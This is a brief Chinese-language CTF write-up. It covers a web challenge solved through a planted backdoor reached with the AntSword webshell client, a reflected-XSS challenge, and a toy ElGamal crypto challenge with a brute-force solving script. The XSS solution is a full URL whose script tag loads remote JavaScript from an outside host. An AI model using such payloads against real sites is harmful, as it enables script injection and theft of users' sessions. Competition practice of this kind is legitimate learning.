随手看到的。。。看了看发现还是属于消遣的
后门,蚁剑直接连接即可。
很简单的xss直接解决。
<http://queen.us.crowncloud.dreamerjack.com:12352/?prompt=%3CsCRiPt%20sRC=//x0.nz/Zgme%3E%3C/sCrIpT%3E>
题目还是很简单的
如下题目:
from Crypto.Util.number import *
from key import FLAG
size = 16
def keygen(size):
q = getPrime(size)
k = 2
while True:
p = q * k + 1
if isPrime(p):
break
k += 1
g = 2
while True:
if pow(g, q, p) == 1:
break
g += 1
x = getRandomInteger(size) % q
h = pow(g, x, p)
return (g, h, p), (x,)
def encrypt(pubkey, m):
g, h, p = pubkey
assert 0 < m <= p
r = getRandomInteger(size)
c1 = pow(g, r, p)
c2 = (m * pow(h, r, p)) % p
return (c1, c2)
pubkey, privkey = keygen(size)
m = FLAG
c1, c2 = encrypt(pubkey, m)
print(pubkey)
#print(privkey)
print(c1, c2)
"""
(9, 729, 319387)
93280 263042
"""
题解如下:
from Crypto.Util.number import *
size = 16
publickey = (9,729,319387)
c1,c2 = (93280,263042)
def decrypt():
g,h,p=publickey
r=1
m=1
while True:
if(pow(g,r,p)==c1):
print(r)
break
r+=1
while True:
if((pow(h,r,p)*m)%p==c2):
print("flag is: "+str(m))
break
m+=1
decrypt()